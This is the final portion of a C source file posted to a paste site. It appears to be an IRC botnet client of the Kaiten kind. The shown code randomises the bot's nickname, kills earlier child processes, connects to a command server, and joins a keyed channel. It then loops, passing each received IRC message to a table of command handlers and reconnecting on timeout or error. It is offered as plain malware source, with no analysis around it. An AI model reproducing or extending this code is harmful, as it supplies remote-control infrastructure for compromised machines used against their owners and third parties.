  1389. #endif
  1390.         srand((time(NULL) ^ getpid()) + getppid());
  1391.         nick=makestring();
  1392.         ident=makestring();
  1393.         user=makestring();
  1394.         chan=CHAN;
  1395.     key=KEY;
  1396.     server=NULL;
  1397. sa:
  1398. #ifdef IDENT
  1399.         for (i=0;i<numpids;i++) {
  1400.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1401.                         kill(pids[i],9);
  1402.             waitpid(pids[i],NULL,WNOHANG);
  1403.                 }
  1404.         }
  1405.     pids=NULL;
  1406.     numpids=0;
  1407.     identd();
  1408. #endif
  1409.     con();
  1410.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1411.         while(1) {
  1412.                 unsigned long i;
  1413.                 fd_set n;
  1414.                 struct timeval tv;
  1415.                 FD_ZERO(&n);
  1416.                 FD_SET(sock,&n);
  1417.                 tv.tv_sec=60*20;
  1418.                 tv.tv_usec=0;
  1419.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1420.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1421.                         unsigned int *newpids,on;
  1422.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1423.             pids[on-1]=0;
  1424.                         numpids--;
  1425.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1426.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1427.                         free(pids);
  1428.                         pids=newpids;
  1429.                 }
  1430.                 if (FD_ISSET(sock,&n)) {
  1431.                         char buf[4096], *str;
  1432.                         int i;
  1433.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1434.                         buf[i]=0;
  1435.                         str=strtok(buf,"\n");
  1436.                         while(str && *str) {
  1437.                                 char name[1024], sender[1024];
  1438.                                 filter(str);
  1439.                                 if (*str == ':') {
  1440.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1441.                                         str[i]=0;
  1442.                                         strcpy(sender,str+1);
  1443.                                         strcpy(str,str+i+1);
  1444.                                 }
  1445.                                 else strcpy(sender,"*");
  1446.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1447.                                 str[i]=0;
  1448.                                 strcpy(name,str);
  1449.                                 strcpy(str,str+i+1);
  1450.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1451.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  1452.                                 str=strtok((char*)NULL,"\n");
  1453.                         }
  1454.                 }
  1455.         }
  1456.         return 0;
  1457. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement